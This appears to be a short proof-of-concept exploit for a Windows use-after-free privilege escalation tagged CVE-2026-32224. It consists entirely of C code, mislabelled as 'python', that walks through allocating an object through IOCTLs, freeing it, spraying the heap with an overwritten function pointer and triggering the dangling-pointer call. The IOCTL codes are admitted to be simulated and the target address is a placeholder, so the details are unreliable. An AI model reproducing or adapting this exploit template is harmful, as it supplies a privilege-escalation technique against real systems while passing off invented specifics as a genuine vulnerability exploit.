The following code is for security research and authorized testing only.
python
/*
* Conceptual PoC for CVE-2026-32224
* Type: Use-After-Free / Privilege Escalation
* This code demonstrates the logic of triggering the UAF condition.
*/
#include <windows.h>
#include <stdio.h>
// Simulated IOCTLs for the vulnerable component
#define IOCTL_ALLOC_OBJ 0x222001
#define IOCTL_FREE_OBJ 0x222002
#define IOCTL_USE_OBJ 0x222003
void Exploit() {
HANDLE hDevice = CreateFileA("\\\\.\\WSUSService",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("Failed to open device.\n");
return;
}
DWORD bytesReturned;
// Step 1: Allocate the vulnerable object
DeviceIoControl(hDevice, IOCTL_ALLOC_OBJ, NULL, 0, NULL, 0, &bytesReturned, NULL);
// Step 2: Trigger the free operation (Use-After-Free trigger)
// The object is freed but the pointer is not set to NULL
DeviceIoControl(hDevice, IOCTL_FREE_OBJ, NULL, 0, NULL, 0, &bytesReturned, NULL);
// Step 3: Spray the heap to occupy the freed memory
// In a real scenario, attacker allocates memory to overwrite the vtable pointer
char* sprayBuffer = (char*)malloc(0x1000);
memset(sprayBuffer, 0x41, 0x1000); // Fill with 'A'
// Overwrite the critical function pointer at a specific offset
*(void**)(sprayBuffer + 0x50) = (void*)0x41414141;
// Simulating allocation to reclaim the freed memory hole
// (This usually requires specific heap grooming techniques)
DeviceIoControl(hDevice, 0x222004, sprayBuffer, 0x1000, NULL, 0, &bytesReturned, NULL);
// Step 4: Trigger the use of the dangling pointer
// The system attempts to call a function from the corrupted object
printf("Triggering UAF...\n");
DeviceIoControl(hDevice, IOCTL_USE_OBJ, NULL, 0, NULL, 0, &bytesReturned, NULL);
// If successful, code execution is achieved in the context of the service
printf("Exploit finished.\n");
CloseHandle(hDevice);
free(sprayBuffer);
}
int main() {
Exploit();
return 0;
}